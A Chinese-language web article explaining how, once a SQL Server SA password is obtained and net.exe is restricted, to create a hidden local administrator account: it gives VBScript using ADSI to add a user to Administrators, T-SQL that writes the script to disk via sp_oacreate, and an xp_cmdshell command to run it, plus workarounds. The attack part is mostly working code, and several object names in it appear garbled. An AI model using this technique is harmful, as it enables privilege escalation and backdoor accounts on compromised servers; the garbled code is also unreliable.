


Microsoft SQL Server SA權限安全
在獲得SA密碼后,往往因為服務器管理者或”前人”將net.exe和net1.exe被限制使用,無法添加管理員賬號。我們知道VBS在活動目錄(ADSI)部分有一個winnt對象,用來管理本地資源,利用它可以不依靠CMD等命令就能添加一個管理員,具體代碼如下:
set wsnetwork=CreateObject("W.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os) '得到adsi接口,綁定
Set oe=GetObject(os&"/Administrators,group") '屬性,admin組
Set od=ob.Create("user","test") '建立用戶
od.SetPassword "1234" '設置密碼
od.SetInfo '保存
Set of=GetObject(os&"/test",user) '得到用戶
oe.add os&"/test"
將上面的代碼保存為1.vbs,然后執行,命令為“c 1.vbs”,這樣就會在系統添加一個系統名為test,密碼為1234的用戶。具體在查詢分析器執行的代碼如下:
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'ing.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("W.NETWORK")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.ComputerName'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create("user","test")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "1234"'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo '
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/test",user) '
exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"'
執行完上面的語句,再執行下面這行代碼,這行代碼一定單獨執行,不要與上面的放在一起執行,否則會提示“c:\1.vbs正被另一個程序運行”而無法成功添加用戶:
exec master..xp_cmdshell 'c c:\1.vbs'
如果系統用戶沒有添加成功,有可能是因為系統用戶的密碼1234的太簡單,不符合服務器的復雜密碼策略,可以考慮設置的復雜些,然后再測試一下。也可以使用echo將代碼寫到1.vbs中,代碼格式為:
exec master..xp_cmdshell 'echo set wsnetwork=CreateObject("W.NETWORK")>>1.vbs'
關鍵字:SQL Server、服務器
新文章:
- CentOS7下圖形配置網絡的方法
- CentOS 7如何添加刪除用戶
- 如何解決centos7雙系統后丟失windows啟動項
- CentOS單網卡如何批量添加不同IP段
- CentOS下iconv命令的介紹
- Centos7 SSH密鑰登陸及密碼密鑰雙重驗證詳解
- CentOS 7.1添加刪除用戶的方法
- CentOS查找/掃描局域網打印機IP講解
- CentOS7使用hostapd實現無AP模式的詳解
- su命令不能切換root的解決方法
- 解決VMware下CentOS7網絡重啟出錯
- 解決Centos7雙系統后丟失windows啟動項
- CentOS下如何避免文件覆蓋
- CentOS7和CentOS6系統有什么不同呢
- Centos 6.6默認iptable規則詳解